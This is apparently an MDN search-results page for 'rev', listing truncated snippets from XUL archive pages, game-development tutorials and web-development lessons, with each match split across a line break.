More Menu Features - Archive of obsolete content
« p
reviousnext » in this section, we'll look at creating submenus and checked menus creating submenus you can create submenus inside other menus (nested menus) using the existing elements.
...when another item is selected, the p
reviously selected item is unchecked.
... « p
reviousnext » ...
Numeric Controls - Archive of obsolete content
« p
reviousnext » xul has two elements used for the entry of numeric values or ranges, and well as two elements for entering dates and times.
...<scale orient="vertical" dir="
reverse"/> this scale will be shown vertical with lower values at the bottom and higher values at the top.
...<datepicker type="popup"/> « p
reviousnext » ...
Styling a Tree - Archive of obsolete content
« p
reviousnext » the following describes how to style a tree.
...let's make every fourth row have blue text, using the example from a p
revious section.
... « p
reviousnext » ...
Tabboxes - Archive of obsolete content
« p
reviousnext » it is common in preference dialogs for tabbed pages to appear.
...alternatively, you could set the dir attribute to
reverse on the tabbox.
... « p
reviousnext » ...
Templates - Archive of obsolete content
« p
reviousnext » in this section, we'll find out how to populate elements with data.
...if you don't understand this, try re-reading the last part of the p
revious section.
... « p
reviousnext » ...
Tree Selection - Archive of obsolete content
« p
reviousnext » the section will describe how to get and set the selected items in a tree.
...there is also a clearselection() function to clear the selection, and an invertselection function to
reverse the selection, that is, deselect all selected rows and select all unselected rows.
... « p
reviousnext » ...
Tree View Details - Archive of obsolete content
« p
reviousnext » this section will describe some more features of tree views.
...
review of the methods here is a
review of the methods needed to implement hierarchical views: getlevel(row) hasnextsibling(row, afterindex) getparentindex(row) iscontainer(row) iscontainerempty(row) iscontaineropen(row) toggleopenstate(row) the afterindex argument to hasnextsibling function is used as optimization to only start looking for the next sibling after that point.
... « p
reviousnext » ...
XUL element attributes - Archive of obsolete content
reverse for scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales).
...this is
reverse of the order in which they appear in the xul code.
...in order to
revert to the normal cursor state call the method removeattribute("wait-cursor") when the process effectively has ended otherwise the wait cursor might never disappear.
XUL accessibility guidelines - Archive of obsolete content
it is hoped that these guidelines will be sufficiently clear and detailed that everyone—even someone with no p
revious background in accessibility—can understand them.
...(firefox's "print p
review" window uses this fallback technique.) this should only be used as a last resort, and it should be consistent throughout a window (that is either all toolbar buttons are tabbable or none of them are).
...to p
revent this, move the focus to the next element before disabling, hiding, or destroying the focus element.
The Implementation of the Application Object Model - Archive of obsolete content
by keeping the dom tree in a sandbox (safely insulated from the containing aom tree in which it might occur), you have an easy means of distinguishing the two trees and p
reventing scripts in the dom tree from manipulating the aom tree.
... statement #1 the two points raised in the p
revious two paragraphs, namely (1) redundancy of methods in the interfaces as well as a likely code redundancy in the implementation of some of those methods, and (2) the desire to be insulated from the layout dll should those interfaces change, imply that a layer needs to exist between the pluggable content and the content tree interfaces.
... p
reventing the persistence of attributes: the discardable attribute individual attributes can be specified as non-persistent (i.e.,discardable) through the use of the discardable attribute.
button - Archive of obsolete content
if the box direction is
reversed, the cropping is
reversed.
...
reverse for scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales).
...this is
reverse of the order in which they appear in the xul code.
menupopup - Archive of obsolete content
returning false from this event handler p
revents the popup from appearing.
... openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, trigge
revent ) return type: no return value opens the popup relative to a specified node at a specific location.
... trigge
revent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup).
panel - Archive of obsolete content
returning false from this event handler p
revents the popup from appearing.
... openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, trigge
revent ) return type: no return value opens the popup relative to a specified node at a specific location.
... trigge
revent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup).
toolbarbutton - Archive of obsolete content
if the box direction is
reversed, the cropping is
reversed.
...
reverse for scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales).
...this is
reverse of the order in which they appear in the xul code.
wizard - Archive of obsolete content
canrewind type: boolean this property is set to true if the user can press the back button to go to the p
revious page.
... if this property is false, the user cannot navigate to the p
revious page.
...set to false to disallow moving to the p
revious page.
Logging Multi-Process Plugins - Archive of obsolete content
make sure you have write permissions to whe
rever you wish to save the log.
...from within a command prompt: c:\> set nspr_log_modules=ipcplugins:5 c:\> set nspr_log_file=c:\plugins.log c:\> cd c:\program files\mozilla firefox c:\> firefox.exe the log file will be saved to c:\plugins.log (or whe
rever nspr_log_file is set).
...from within a bash shell: $ export nspr_log_modules=ipcplugins:5 $ export nspr_log_file=~/plugins.log $ /usr/bin/firefox the file will be saved to ~/plugins.log (or whe
rever nspr_log_file is set).
Version - Archive of obsolete content
netscape's rss 0.91 (
revision 1), netscape's rss 0.91
revision 3 and userland's rss 0.91.
... name status release date based on author rss 0.90 march 1999 rdf netscape netscape's rss 0.91 (
revision 1) ?
... xml netscape netscape's rss 0.91
revision 3 july 10, 1999 xml netscape userland's rss 0.91 june 4, 2000 xml userland rss 1.0 standard december 9, 2000 rdf rss-dev working group rss 0.92 december 25, 2000 xml userland rss 0.93 april 20, 2001 xml userland rss 0.94 august 19, 2002 xml userland rss 2.0 september 2002 xml userland rss 2.0 (post 2002-11-11) november 11, 2002 xml userland rss 2.0 (post 2003-01-21) standard january 21, 2003 xml userland ...
Common Firefox theme issues and solutions - Archive of obsolete content
it is a companion document to the amo editors guide common theme problems, which provides editors with "boilerplate" copy and paste
review notes for common theme issues.
...er:active > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon, #identity-box[open=true] > #identity-box-inner > #page-proxy-stack > #page-proxy-favicon { -moz-image-region: rect(0, 48px, 16px, 32px); } #page-proxy-favicon[pageproxystate="invalid"] { opacity: 0.5; } for more information about identity boxes please see the identity box section of the amo editors theme
review guidelines no visual clue for disabled url bars there needs to be a visual clue when url bar is disabled.
... resources amo editors theme testing guidelines when developing and testing your themes, please refer to the theme testing guidelines amo editors use to
review themes.
Accessing XML children - Archive of obsolete content
« p
reviousnext » accessing xml children warning: e4x is deprecated.
...var elem = <foo> <bar>1</bar> </foo> elem.bar = 2; will replace the p
revious value of 1 with 2.
... var element = <foo bar="1"/> element.@bar = 2; which gives <foo bar="2"/> « p
reviousnext » ...
New in JavaScript 1.1 - Archive of obsolete content
--> new features in javascript 1.1 new objects array boolean function number new properties number.max_value number.min_value nan number.negative_infinity number.positive_infinity new methods array.prototype.join() array.prototype.
reverse() array.prototype.sort() array.prototype.split() new operators typeof void other new features <noscript> liveconnect.
... eval() is now a method of every object (was p
reviously a built-in function); it evaluates a string of javascript code in the context of the specified object.
... isnan() now works on every platform (not only unix anymore) parsefloat() and parseint() now return nan on all platforms, if the first character of the specified string cannot be converted to a number; in p
revious releases, it returned nan on solaris and irix and zero on all other platforms.
LiveConnect Overview - Archive of obsolete content
for example, you can create a java string object and assign it to the javascript variable mystring by using the new operator with the java constructor, as follows: var mystring = new java.lang.string("hello world"); in the p
revious example, the variable mystring is a javaobject because it holds an instance of the java object string.
...starting with javascript 1.2, these classes are delivered in a .jar file; in p
revious versions of javascript, these classes are delivered in a .zip file.
...the p
revious example uses getmember to assign the value of the javascript property jsdog.breed to the java data member javadog.dogbreed.
Archived open Web documentation - Archive of obsolete content
this article
reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection.
... writing javascript for xhtml technical
review completed.
... editorial
review completed.
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
named anchor problems in addition to the effects described p
reviously, there are two other relatively common effects that authors may not expect.
...furthermore, combining pseudo-classes p
revents hover styles from being applied to non-hyperlink anchors.
...meyer, netscape communications last updated date: published 07 mar 2003;
revised 21 mar 2003 copyright information: copyright © 2001-2003 netscape.
RDF in Mozilla FAQ - Archive of obsolete content
for example, mozilla mail/news
reveals the folder hierarchy in the toolbar, the "folder pane", in several menus, and in some of the dialogs.
...it is either: an abb
reviated contractid for a locally installed component.
...note that a polling reload generates a set of differences between the current and p
revious contents of the rdf/xml file.
Windows Media in Netscape - Archive of obsolete content
netscape 7.1 is the first netscape gecko™ browser to support the windows media player as an activex control -- p
revious netscape browsers did not support any activex controls, and thus detecting which versions of netscape support the windows media activex control is an important first step towards building multimedia experiences using html, javascript, and the windows media activex control.
...for the sake of b
revity, we've made the following code snippet shorter to illustrate the relevant points about the api: var player; try { if(window.activexobject) { player = new activexobject("wmplayer.ocx.7"); } else if (window.geckoactivexobject) { player = new geckoactivexobject("wmplayer.ocx.7"); } } catch(e) { // handle error -- no wmp 7 or 9 control // can use wmp 6 also if necessary, but th...
...this differs from what p
revious netscape gecko browsers did -- those browsers only supported the netscape-plugin architecture, and not the activex architecture, and thus the markup used for browsers prior to netscape version 7.1 (devedge-temp) was distinct.
Archive of obsolete content
case sensitivity in class and id names creating a dynamic status bar extension concepts covered in the p
revious sample won't be reiterated here; instead, refer to the downloadable sample code or to the p
revious sample for further details.
... localizing an extension this article expands upon the p
revious samples on extension writing by adding localization support to our stock watcher extension.
...we'll build upon the stock watcher extension created in earlier articles in this series, updating it so it can also be used in thunderbird and sunbird (p
revious versions worked only in firefox).
Game promotion - Game development
most portals offer
revenue share deals or will buy non exclusive license.
... free portals offer traffic, but only the best ones are popular enough to generate
revenues from advertisements on in-app purchases.
...you should also be realistic however — don't think this alone will skyrocket your downloads or visits, and be prepared to deal with bad
reviews as well as good ones.
Bounding volume collision detection with THREE.js - Game development
a more simple alternative that fixes the p
revious issue is to set those boundaries later on with box3.setfromobject, which will compute the dimensions taking into account a 3d entity's transformations and any child meshes as well.
...box and sphere using boxhelper as an alternative to using raw box3 and sphere objects, three.js has a useful object to make handling bounding boxes easier: boxhelper (p
reviously boundingboxhelper, which has been deprecated).
...this results in a new box mesh representing the bounding box, which shows the bounding box's shape, and can passed to the p
reviously seen setfromobject method in order to have a bounding box matching the mesh.
Building up a basic demo with A-Frame - Game development
looking around would give an impression of being inside an open sky, a wooden barn — whe
rever you like!
...add the new code below your p
revious additions — this uses the standard <a-light> element: <a-light type="directional" color="#fff" intensity="0.5" position="-1 1 2"> </a-light> <a-light type="ambient" color="#fff"> </a-light> the directional light has a white color, its intensity is set to 0.5, and it is placed at position -1 1 2.
...let's try adding a torus — add this element below the p
revious code: <a-entity geometry=" primitive: torus; radius: 1; radiustubular: 0.1; segmentstubular: 12;" rotation="10 0 0" position="-3 1 0"> </a-entity> our entity has a torus primitive, which represents its shape.
Build the brick field - Game development
« p
reviousnext » this is the 6th step out of 10 of the gamedev canvas tutorial.
...add the following lines to your code below the variables which you have p
reviously declared in your program.
... « p
reviousnext » ...
Create the Canvas and draw on it - Game development
« p
reviousnext » this is the 1st step out of 10 of the gamedev canvas tutorial.
...add this below your p
revious lines of javascript, then load your index.html in a browser to try it out.
... « p
reviousnext » ...
Mouse controls - Game development
« p
reviousnext » this is the 9th step out of 10 of the gamedev canvas tutorial.
...add the following function to your code, below the p
revious line you added: function mousemovehandler(e) { var relativex = e.clientx - canvas.offsetleft; if(relativex > 0 && relativex < canvas.width) { paddlex = relativex - paddlewidth/2; } } in this function we first work out a relativex value, which is equal to the horizontal mouse position in the viewport (e.clientx) minus the distance between the left edge of the canvas and l...
... « p
reviousnext » ...
Track the score and win - Game development
« p
reviousnext » this is the 8th step out of 10 of the gamedev canvas tutorial.
...= 0; score++; } } } } } calling drawscore() from the draw() function keeps the score up to date with every new frame — add the following line inside draw(), just below the drawpaddle() call: drawscore(); displaying a winning message when all bricks have been destroyed collecting the points works well, but you won't be adding them fo
rever — what about when all the bricks have been destroyed?
... « p
reviousnext » ...
Bounce off the walls - Game development
« p
reviousnext » this is the 6th step out of 16 of the gamedev phaser tutorial.
...add the following line below the p
revious one: ball.body.bounce.set(1); try reloading index.html again — now you should see the ball bouncing off all the walls and moving inside the canvas area.
... « p
reviousnext » ...
Extra lives - Game development
« p
reviousnext » this is the 13th step out of 16 of the gamedev phaser tutorial.
...instead of executing an anonymous function and showing the alert right away : ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); we will assign a new function called ballleavescreen; delete the p
revious event handler (shown above) and replace it with the following line: ball.events.onoutofbounds.add(ballleavescreen, this); we want to decrease the number of lives every time the ball leaves the canvas.
... « p
reviousnext » ...
Game over - Game development
« p
reviousnext » this is the 8th step out of 16 of the gamedev phaser tutorial.
...add the following lines just below the p
revious new one: ball.checkworldbounds = true; ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); adding those lines will make the ball check the world (in our case canvas) bounds and execute the function bound to the onoutofbounds event.
... « p
reviousnext » ...
Physics - Game development
« p
reviousnext » this is the 5th step out of 16 of the gamedev phaser tutorial.
...add the following line, again at the bottom of create(): ball.body.velocity.set(150, 150); removing our p
revious update instructions remember to remove our old method of adding values to x and y from the update() function: function update() { ball.x += 1; ball.y += 1; } we are now handling this properly, with a physics engine.
... « p
reviousnext » ...
Scaling - Game development
« p
reviousnext » this is the 2nd step out of 16 of the gamedev phaser tutorial.
... show_all — scales the canvas, but keeps the aspect ratio untouched, so images won't be skewed like in the p
revious mode.
... « p
reviousnext » ...
The score - Game development
« p
reviousnext » this is the 11th step out of 16 of the gamedev phaser tutorial.
... new variables add two new variables right after the p
reviously defined ones: // ...
... « p
reviousnext » ...
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
there are specific headers in the response, like cache-control, that p
revents caching.
... note that some non-cacheable requests/responses to a specific uri may invalidate p
reviously cached responses on the same uri.
...moreover, it invalidates cached data for request to the same uri done via head or get: put /pagex.html http/1.1 (…) 200 ok (…) a specific cache-control header in the response can p
revent caching: get /pagex.html http/1.1 (…) 200 ok cache-control: no-cache (…) ...
Assessment: Accessibility troubleshooting - Learn web development
p
revious overview: accessibility in the assessment for this module, we present to you a simple site with a number of accessibility issues that you need to diagnose and fix.
... prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of the p
revious articles in the course.
... p
revious overview: accessibility in this module what is accessibility?
Backgrounds and borders - Learn web development
p
revious overview: building blocks next in this lesson, we will take a look at some of the creative things you can do with css backgrounds and borders.
...the backgrounds will layer with the last listed background image at the bottom of the stack, and each p
revious image stacking on top of the one that follows it in the code.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
Cascade and inheritance - Learn web development
note: there is also a newer value,
revert, which has limited browser support.
...its value can be any one of the inheritance values (inherit, initial, unset, or
revert).
...because of the !important declaration in the second rule — including this after border: none means that this declaration will win over the border value in the p
revious rule, even though the id has higher specificity.
Debugging CSS - Learn web development
p
revious overview: building blocks next sometimes when writing css you will encounter an issue where your css doesn't seem to be doing what you expect.
... understanding the box model in p
revious lessons we have discussed the box model, and the fact that we have an alternate box model that changes how the size of elements are calculated based on the size you give them, plus the padding and borders.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
Handling different text directions - Learn web development
p
revious overview: building blocks next many of the properties and values that we have encountered so far in our css learning have been tied to the physical dimensions of our screen.
...we will
revisit it later on.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
Images, media, and form elements - Learn web development
p
revious overview: building blocks next in this lesson we will take a look at how certain special elements are treated in css.
... as we learned in our p
revious lesson, a common technique is to make the max-width of an image 100%.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debu...
Overflowing content - Learn web development
p
revious overview: building blocks next overflow is what happens when there is too much content to fit in a container.
... whe
rever possible, css does not hide content.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
Combinators - Learn web development
p
revious overview: building blocks next the final selectors we will look at are called combinators, because they combine other selectors in a way that gives them a useful relationship to each other and the location of content in the document.
... using combinators you can combine any of the selectors that we discovered in p
revious lessons with combinators in order to pick out part of your document.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
Pseudo-classes and pseudo-elements - Learn web development
p
revious overview: building blocks next the next set of selectors we will look at are referred to as pseudo-classes and pseudo-elements.
...try editing the p
revious live example so it uses the following css.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
Sizing items in CSS - Learn web development
p
revious overview: building blocks next in the various lessons so far you have come across a number of ways to size items on a web page using css.
...as we discovered in our p
revious lesson on overflow, a set height can cause content to overflow if there is more content than the element has space to fit inside it.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
CSS values and units - Learn web development
p
revious overview: building blocks next every property used in css has a value or set of values that are allowed for that property, and taking a look at any property page on mdn will help you understand the values that are valid for any particular property.
... images the <image> data type is used whe
rever an image is a valid value.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
Grids - Learn web development
p
revious overview: css layout next css grid layout is a two-dimensional layout system for the web.
...this contains a container with a 12 column grid defined, and the same markup as we used in the p
revious two examples.
... see also css grid guides css grid inspector: examine grid layouts p
revious overview: css layout next in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers fundamental layout comprehension assessment ...
Beginner's guide to media queries - Learn web development
p
revious overview: css layout next the css media query gives you a way to apply css only when the browser and device environment matches a rule that you specify, for example "viewport is wider than 480 pixels".
...this
reverses the meaning of the entire media query.
... p
revious overview: css layout next in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers fundamental layout comprehension assessment ...
Normal Flow - Learn web development
p
revious overview: css layout next this article explains normal flow, or the way that webpage elements lay themselves out if you have not changed their layout.
... before digging deeper into different layout methods, it is worth
revisiting some of the things you will have studied in p
revious modules with regard to normal document flow.
... p
revious overview: css layout next in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers fundamental layout comprehension assessment ...
Supporting older browsers - Learn web development
p
revious overview: css layout next in this module, we recommend using flexbox and grid as the main layout methods for your designs.
... older versions of flexbox in older versions of browsers, you can find p
revious iterations of the flexbox specification.
... cascading web design with feature queries using feature queries (video) p
revious overview: css layout next in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers fundamental layout comprehension assessment ...
How CSS works - Learn web development
p
revious overview: first steps next we have learned the basics of css, what it is for and how to write simple stylesheets.
...the span nodes are also parents, with text nodes as their children: p ├─ "let's use:" ├─ span | └─ "cascading" ├─ span | └─ "style" └─ span └─ "sheets" this is how a browser interprets the p
revious html snippet —it renders the above dom tree and then outputs it in the browser like so: p {margin:0;} applying css to the dom let's say we added some css to our document, to style it.
... p
revious overview: first steps next in this module what is css?
CSS FAQ - Learn web development
this means that a p
revious rule for a single attribute could be implicitly overridden.
...</div> in the p
revious example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important.
...they allow use of experimental and non-standard features in browsers without polluting the regular namespace, p
reventing future incompatibilities to arise when the standard is extended.
Styling lists - Learn web development
p
revious overview: styling text next lists behave like any other text for the most part, but there are some css properties specific to lists that you need to know about, and some best practices to consider.
...the following example: <ol start="4"> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> gives you this output:
reversed the
reversed attribute will start the list counting down instead of up.
... the following example: <ol start="4"
reversed> <li>toast pita, leave to cool, then slice down the edge.</li> <li>fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and fried halloumi.</li> </ol> gives you this output: note: if there are more list items in a
reversed list than the value of the start attribute, the count will continue to zero and then into negative values.
Sending forms through JavaScript - Learn web development
gaining control of the global interface standard html form submission, as described in the p
revious article, loads the url where the data was sent, which means the browser window navigates with a full page load.
... form.addeventlistener( "submit", function ( event ) { event.p
reventdefault(); senddata(); } ); } ); here's the live result: you can even get more involved with the process by using the form's elements property to get a list of all of the data elements in the form and manually manage them one at a time.
... const form = document.getelementbyid( "theform" ); // ...to take over the submit event form.addeventlistener( 'submit', function ( event ) { event.p
reventdefault(); senddata(); } ); } ); here's the live result: conclusion depending on the browser and the type of data you are dealing with, sending form data through javascript can be easy or difficult.
CSS basics - Learn web development
p
revious overview: getting started with the web next css (cascading style sheets) is the code that styles web content.
... first, find the output from google fonts that you p
reviously saved from what will your website look like?.
... p
revious overview: getting started with the web next in this module installing basic software what will your website look like?
Marking up a letter - Learn web development
p
revious overview: introduction to html next we all learn to write a letter sooner or later; it is also a useful example to test our text formatting skills.
... mark up the five acronyms/abb
reviations in the main text of the letter to provide expansions of each acronym/abb
reviation.
... p
revious overview: introduction to html next in this module getting started with html what’s in the head?
Images in HTML - Learn web development
rp teeth"\n width="200"\n height="171"\n title="a t-rex on display in the manchester university museum">'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caret...
... active learning: creating a figure in this active learning section, we'd like you to take the finished code from the p
revious active learning section, and turn it into a figure: wrap it in a <figure> element.
...ight="171">\n <figcaption>a t-rex on display in the manchester university museum</figcaption>\n</figure>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caret...
Responsive images - Learn web development
p
revious overview: multimedia and embedding next in this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other such features — and look at what tools html provides to help implement them.
... you might think that vector images would solve these problems, and they do to a certain degree — they are small in file size and scale well, and you should use them whe
rever possible.
...each set of image information is separated from the p
revious one by a comma.
Choosing the right approach - Learn web development
p
revious overview: asynchronous to finish this module off, we'll provide a brief discussion of the different coding techniques and features we've discussed throughout, looking at which one you should use when, with recommendations and reminders of common pitfalls where appropriate.
...: true }).then(function (result) { let docs = result.rows; docs.foreach(function(element) { localdb.put(element.doc).then(function(response) { alert("pulled doc with id " + element.doc._id + " and added to local db."); }).catch(function (err) { if (err.name == 'conflict') { localdb.get(element.doc._id).then(function (resp) { localdb.remove(resp._id, resp._
rev).then(function (resp) { // et cetera...
... further information making asynchronous programming easier with async and await async function reference await operator reference p
revious overview: asynchronous in this module general asynchronous programming concepts introducing asynchronous javascript cooperative asynchronous javascript: timeouts and intervals graceful asynchronous programming with promises making asynchronous programming easier with async and await choosing the right approach ...
Manipulating documents - Learn web development
p
revious overview: client-side web apis next when writing web pages and apps, one of the most common things you'll want to do is manipulate the document structure in some way.
...add the following line below the p
revious one: link.textcontent = 'mozilla developer network'; we should also change the url the link is pointing to, so that it doesn't go to the wrong place when it is clicked on.
... delete the p
revious five lines you added to the javascript.
Working with JSON - Learn web development
p
revious overview: objects next javascript object notation (json) is a standard text-based format for representing structured data based on javascript object syntax.
...add the following code below your p
revious code: request.onload = function() { const superheroes = request.response; populateheader(superheroes); showheroes(superheroes); } here we are storing the response to our request (available in the response property) in a variable called superheroes; this variable now contains the javascript object based on the json!
...first of all, add the following function definition below the p
revious code: function populateheader(jsonobj) { const myh1 = document.createelement('h1'); myh1.textcontent = jsonobj['squadname']; header.appendchild(myh1); const mypara = document.createelement('p'); mypara.textcontent = 'hometown: ' + jsonobj['hometown'] + ' // formed: ' + jsonobj['formed']; header.appendchild(mypara); } we named the parameter jsonobj, to remind ourselves that this...
Introducing JavaScript objects - Learn web development
guides object basics in the first article looking at javascript objects, we'll look at fundamental javascript object syntax, and
revisit some javascript features we've already looked at earlier on in the course, reiterating the fact that many of the features you've already dealt with are in fact objects.
... object building practice in p
revious articles we looked at all the essential javascript object theory and syntax details, giving you a solid base to start from.
... assessments adding features to our bouncing balls demo in this assessment, you are expected to use the bouncing balls demo from the p
revious article as a starting point, and add some new and interesting features to it.
CSS performance optimization - Learn web development
p
revious overview: performance next painting an unstyled page, and then repainting it once styles are parsed would be bad user experience.
...by splitting the css into multiple files based on media queries, you can p
revent render blocking during download of unused css.
... conclusion p
revious overview: performance next in this module the "why" of web performance what is web performance?
Measuring performance - Learn web development
p
revious overview: performance next meauring performance provides an important metric to help you asses the success of your app, site, or web service.
... you can use the navigation timing api to measure client-side web performance; including the amount of time needed to unload the p
revious page, how long domain lookups take, the total time spent executing the window's load handler, and more.
... p
revious overview: performance next in this module the "why" of web performance what is web performance?
Perceived performance - Learn web development
p
revious overview: performance next perceived performance is how fast a website seems to the user.
... p
revent jumping content and other reflows images or other assets causing content to be pushed down or jump to a different location, like the loading of third party advertisements, can make the page feel like it is still loading and is bad for perceived performance.
... p
revious overview: performance next in this module the "why" of web performance what is web performance?
Ember resources and troubleshooting - Learn web development
p
revious overview: client-side javascript frameworks next our final ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information.
... this is the most common question ember folks hear from people who have p
revious experience with react.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Routing in Ember - Learn web development
p
revious overview: client-side javascript frameworks next in this article we learn about routing, or url-based filtering as it is sometimes referred to.
... updating the todos display inside todolist one small final thing that we need to fix is that p
reviously, inside todomvc/app/components/todo-list.hbs, we were accessing the todo-data service directly and looping over all todos, as shown here: {{#each this.todos.all as |todo| }} since we now want to have our todolist component show a filtered list, we'll want to pass an argument to the todolist component representing the "current list of todos", as shown here: {{#each @todos as |todo| }} an...
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Ember app structure and componentization - Learn web development
p
revious overview: client-side javascript frameworks next in this article we'll get right on with planning out the structure of our todomvc ember app, adding in the html for it, and then breaking that html structure into components.
...--}} {{outlet}} <welcomepage /> is a component provided by an ember addon that renders the default welcome page we saw in the p
revious article, when we first navigated to our server at localhost:4200.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Handling common HTML and CSS problems - Learn web development
p
revious overview: cross browser testing next with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to p
revent problems from happening, or fix problems that occur.
... stackoverflow.com (so) is a forum site where you can ask questions and have fellow developers share their solutions, look up p
revious posts, and help other developers.
... p
revious overview: cross browser testing next in this module introduction to cross browser testing strategies for carrying out testing handling common html and css problems handling common javascript problems handling common accessibility problems implementing feature detection introduction to automated testing setting up your own test automation environment ...
Strategies for carrying out testing - Learn web development
p
revious overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
... upload the changes to the development server, or whe
rever else you need your code.
... p
revious overview: cross browser testing next in this module introduction to cross-browser testing strategies for carrying out testing handling common html and css problems handling common javascript problems handling common accessibility problems implementing feature detection introduction to automated testing setting up your own test automation environment ...
Accessibility/LiveRegionDevGuide
however, many of the concepts were also used during the development of fi
revox, an at using iaccessible2.
...the event should be filtered out as early as possible to p
revent performance degradation.
... container-relevant politeness advancing setting all off persisting politeness level navigation navigate to next and p
revious live regions bookmarking ...
Accessibility information for UI designers and developers
only one element has focus at a given time, typically
revealed by browsers with a dotted outline.
...or provide an opportunity to
review the input before submitting it.
... see also: understanding success criterion 2.3.3: animation from interactions content on hover or focus if content is
revealed on hover or focus, for example in tooltips, there are some things to keep in mind: if the extra content obscures existing content, there should be a way to close it without moving focus if the extra content is opened on hover, hovering the additional content itself should not cause it to disappear consistent navigation navigation should be consistent across different pages on your sit...
Accessibility and Mozilla
in recent articles from both afb's access world and nfb's voice of the nation's blind,
reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users.
...however, many of the concepts were also used during the development of fi
